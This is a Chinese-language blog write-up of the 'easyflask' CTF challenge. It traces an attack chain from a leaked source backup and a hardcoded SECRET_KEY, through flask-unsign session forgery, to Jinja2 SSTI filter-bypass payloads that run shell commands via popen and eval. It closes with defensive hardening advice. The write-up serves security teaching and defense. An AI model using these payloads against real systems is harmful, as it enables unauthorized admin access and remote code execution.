news 2026/10/19 3:15:56

从easyflask CTF题剖析Flask应用漏洞利用链与防御

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从easyflask CTF题剖析Flask应用漏洞利用链与防御

1. 从一道CTF题看Flask应用的典型攻击面

"easyflask"这个题目名字本身就带着一种微妙的暗示——出题人觉得它简单,但真正上手之后你会发现,它考察的是一条完整的漏洞利用链,从信息泄露到权限绕过再到代码执行,每一步都踩在Flask应用开发中最容易犯的错误上。我前后做了几遍,每次都能从里面挖出新的东西,所以决定把整个分析过程完整记录下来。

这篇文章适合有一定Web安全基础、想深入理解Flask应用常见漏洞形态的读者。如果你平时写Flask应用,那更应该看看——题目里出现的每一个问题,在真实项目里都有人踩过。我会从信息收集开始,逐步拆解漏洞原理、利用手法和防御思路,尽量把每一步的"为什么"讲清楚。

先说明一点:本文讨论的所有技术细节仅用于安全学习和防御加固,请勿用于未授权的测试。

2. 信息收集阶段:从页面特征到源码泄露

2.1 初始访问与页面指纹识别

拿到题目后,首先看到的是一个登录页面。这种页面在CTF里太常见了,但关键在于观察细节。我习惯性先看几个东西:HTTP响应头、Cookie设置、页面源码里的注释和静态资源路径。

响应头里有一个值得注意的地方——Server字段没有做任何伪装,直接暴露了Werkzeug的版本信息。Werkzeug是Flask的底层WSGI库,它的版本号往往能直接对应到Flask的版本范围。这一步的信息量比很多人想象的要大,因为特定版本的Werkzeug存在已知的调试器漏洞。

Cookie里设置了一个session字段,这是Flask的签名会话机制。Flask默认使用客户端存储session,数据经过序列化后用密钥签名,但不加密。这意味着只要拿到签名密钥,就能伪造任意session内容。这是后面权限绕过的关键前提。

页面源码里没有明显的注释泄露,但静态资源的路径结构暴露了这是一个标准的Flask应用,模板目录和静态目录的命名都符合Flask默认约定。

2.2 目录扫描与源码文件发现

接下来做目录扫描。很多人做CTF题喜欢直接上大字典,但我觉得针对Flask应用应该有侧重。Flask应用常见的敏感路径包括:

  • /console:Werkzeug调试器入口
  • /static/:静态文件目录
  • /app.py、/main.py:入口文件
  • /.git/:版本控制泄露
  • /backup/、/src/:备份和源码目录

扫了一圈之后,发现了一个备份文件路径。下载下来一看,是应用的部分源码。虽然不是完整的,但已经足够理解核心逻辑了。这里有个经验:CTF题目里的备份文件往往不是随便放的,它一定包含了解题所需的关键信息,比如路由定义、密钥硬编码、过滤逻辑等。

从备份源码中,我提取到了几个关键信息:

信息类型具体内容利用价值
路由结构登录、注册、文件读取等接口确定攻击面
密钥硬编码SECRET_KEY写在配置里可伪造session
过滤逻辑黑名单过滤了部分关键字需绕过
模板渲染使用了render_template_stringSSTI风险

2.3 密钥泄露与session伪造的可行性分析

源码里最致命的问题是SECRET_KEY直接硬编码在配置文件里。Flask的session签名用的是HMAC-SHA1(默认),密钥就是这个SECRET_KEY。一旦泄露,攻击者可以:

  1. 解码现有session,查看结构
  2. 修改session中的字段(比如用户角色、用户名)
  3. 重新签名,生成合法session

我用flask-unsign工具试了一下,直接成功解码了当前session。里面存了一个username字段和role字段。把role改成admin,重新签名,替换Cookie,刷新页面——权限直接变了。

这里要强调:Flask的session是客户端存储的,服务端不保存状态。所以服务端完全信任客户端传来的session内容,只要签名验证通过。这就是为什么密钥泄露等于权限完全失控。

3. 权限绕过后的攻击链延伸

3.1 从普通用户到管理员的session篡改实操

具体操作步骤我详细记录一下。首先安装flask-unsign:

pip install flask-unsign

然后解码当前session:

flask-unsign --decode --cookie "eyJ1c2VybmFtZSI6InRlc3QifQ.YXXXXX.XXXXX"

输出会显示session的明文结构,比如:

{'username': 'test', 'role': 'user'}

接着用泄露的密钥重新签名:

flask-unsign --sign --cookie "{'username': 'test', 'role': 'admin'}" --secret '泄露的密钥'

拿到新Cookie后替换浏览器里的session值,刷新页面,管理功能就出来了。整个过程不到两分钟。

这里有个细节值得注意:Flask的session序列化用的是itsdangerous库,不同版本的序列化格式可能不同。如果签名失败,可能需要指定--legacy参数来兼容旧格式。我在测试时遇到过这个问题,折腾了一会儿才反应过来是版本差异。

3.2 管理功能中的SSTI入口定位

拿到管理员权限后,发现多了一个"个人资料"页面,可以自定义昵称并预览。预览功能用的是render_template_string,直接把用户输入拼接到模板里渲染。这就是典型的SSTI(服务端模板注入)。

为什么render_template_string危险?因为Jinja2模板引擎支持在模板中执行表达式和调用方法。如果用户输入被当作模板内容渲染,就可以注入Jinja2语法来执行任意代码。

比如输入{{7*7}},如果页面显示49,就说明存在SSTI。我试了一下,确实返回了49。接下来就是构造利用链。

3.3 Jinja2沙箱逃逸的常见路径

Jinja2本身有一些沙箱机制,但默认配置下并不安全。常见的逃逸路径包括:

  • 通过__class__、__mro__、__subclasses__遍历找到危险类
  • 通过__globals__访问全局命名空间
  • 通过__builtins__获取内置函数

但题目里加了黑名单过滤,过滤了class、mro、subclasses、globals、builtins等关键字。这就需要绕过。

4. 过滤绕过与最终利用

4.1 黑名单过滤的绕过思路

过滤规则是字符串匹配,那就用字符串拼接来绕过。Jinja2支持~运算符拼接字符串,也支持request.args获取URL参数。所以可以这样构造:

{{''.__class__}}

被过滤了class,改成:

{{''['__cl'~'ass__']}}

或者用attr过滤器:

{{''|attr('__class__')}}

attr过滤器是Jinja2内置的,用来动态获取属性,不经过字符串匹配过滤。这是最常用的绕过手法之一。

4.2 构造可执行命令的Payload

绕过过滤后,需要找到能执行命令的类。经典路径是通过os模块的popen或system。但os模块不一定能直接访问到,需要从__subclasses__里找。

完整Payload构造思路:

{{''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()}}

这会返回所有子类列表。然后找到subprocess.Popen或os._wrap_close等类,通过__init__.__globals__访问全局变量,最终拿到os模块。

由于过滤了globals,同样用attr绕过:

|attr('__init__')|attr('__globals__')

拿到os模块后,执行命令:

|attr('__getitem__')('popen')('cat /flag').read()

4.3 完整利用链的串联与验证

把整个链条串起来,从session伪造到SSTI到命令执行,每一步都验证通过。最终读取到flag文件。

这里有个实操心得:在构造SSTI Payload时,建议先在本地搭一个相同版本的Flask+Jinja2环境测试。因为不同版本的Jinja2,__subclasses__的索引位置不同,直接套用网上的Payload经常失败。本地测试能快速定位问题。

另外,如果subprocess被禁用,还可以尝试通过__builtins__里的eval或exec来执行代码。路径是:

|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("cat /flag").read()')

5. 从攻击链反推防御加固方案

5.1 密钥管理的正确做法

SECRET_KEY绝对不能硬编码在源码里。正确做法是通过环境变量注入:

import os app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY') or os.urandom(32)

如果密钥泄露了,要能快速轮换。建议使用密钥管理服务,支持定期自动轮换。

另外,Flask的session默认是客户端存储,如果应用对安全性要求高,应该改用服务端session(比如Flask-Session扩展),这样即使密钥泄露,攻击者也无法直接伪造有效session。

5.2 模板渲染的安全边界

永远不要用render_template_string渲染用户输入。如果确实需要动态模板,应该:

  • 使用沙箱化的模板环境(如Jinja2的SandboxedEnvironment)
  • 严格限制模板中可用的变量和函数
  • 对用户输入做白名单校验,只允许特定字符

但最安全的做法还是避免动态模板,改用预定义的模板文件,用户输入只作为变量传入,不参与模板结构。

5.3 输入过滤的局限性

黑名单过滤永远可以被绕过,因为攻击者的构造方式无穷无尽。正确的做法是白名单——只允许已知安全的输入通过。比如昵称字段,只允许字母数字和少量符号,长度限制在合理范围内。

如果必须过滤危险字符,应该在多个层面做:输入验证、输出编码、模板沙箱、最小权限运行。单靠一层过滤是不够的。

6. 这道题带给我的实际开发警示

做完这道题之后,我回头检查了自己写过的一些Flask项目,发现有几个地方确实存在类似的风险。比如有一个内部工具,为了图方便用了render_template_string做邮件模板预览,虽然当时觉得"内部工具无所谓",但万一被利用,后果是一样的。

还有一次,我在一个项目里把SECRET_KEY写在了config.py里,虽然后来改成了环境变量,但git历史里还留着。如果仓库泄露,密钥就暴露了。后来我学会了用git filter-branch清理历史,或者干脆轮换密钥。

关于session,我现在默认会用Flask-Session把session存到Redis里,虽然多了一个依赖,但安全性提升明显。而且服务端session可以主动失效,用户登出时直接删除服务端记录,比客户端session只能等过期要可控得多。

最后说一个容易被忽略的点:Werkzeug调试器在生产环境必须关闭。这道题里虽然没直接用到调试器,但很多Flask应用的RCE都是通过调试器实现的。确保app.debug = False,并且不要用app.run()直接跑生产环境,用Gunicorn或uWSGI部署。

这道题虽然叫"easyflask",但它覆盖的知识点非常全面:信息泄露、密钥管理、session安全、SSTI、过滤绕过、命令执行。每一个点单独看都不复杂,但串在一起就是一条完整的攻击链。对于防守方来说,任何一个环节做好了,整条链就断了。这也是为什么安全防护强调"纵深防御"——不要指望一层防护能挡住所有攻击。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/19 3:15:11

从AI对话到AI执行:Agent工具调用与自动化实操指南

还记得第一次用AI聊天时的感受吗?你问它"帮我写一封周报",它立刻给你一篇格式工整的范文,但接下来你还得自己复制、粘贴、改数据、点发送。聊得很好,可活儿还是你的。过去两年,我被问得最多的问题就是&#…

作者头像 李华
网站建设 2026/10/19 3:14:57

像素信息+位置高斯分布:即插即用小目标检测增强模块

做目标检测的人应该都见过那种让人很上火的画面:一个目标明明就贴在图上,标签也没标错,模型偏偏漏检;等翻特征图一看,它其实还在,只是被当成了背景纹理给滤掉。我最早以为小目标难做是样本太少、锚框不匹配…

作者头像 李华
网站建设 2026/10/19 3:14:39

QT串口通讯小白例程:从零实现串口调试助手

简介:这是一套面向QT初学者的串口通讯入门例程,适合嵌入式开发、物联网应用以及需要快速上手QSerialPort库的读者。压缩包共11个文件,其中2个cpp和1个h为源码,1个pro为工程配置,1个ui为界面文件,另有2个exe…

作者头像 李华
网站建设 2026/10/19 3:12:17

ModelScope AI模型社区实操:从下载到部署的避坑指南

做AI应用开发,最让人头疼的往往不是算法本身,而是“找一个能跑的模型”。以前我们习惯去各种代码托管平台翻仓库,再顺着作者的外链找权重文件,折腾半天可能还要处理各种不兼容问题。ModelScope这个AI模型社区,算是把模…

作者头像 李华
网站建设 2026/10/19 3:11:47

Vadere人群仿真参数调优:让疏散模拟更接近真实行为

把已经建好的Vadere场景跑起来很容易,难的是参数设置。场景文件决定能不能跑,参数调整决定跑得像不像人。我最早用Vadere做某高校教学楼疏散模拟时,第一次跑出来的结果差点让我以为软件装错了:一百多人从二楼涌向室外,…

作者头像 李华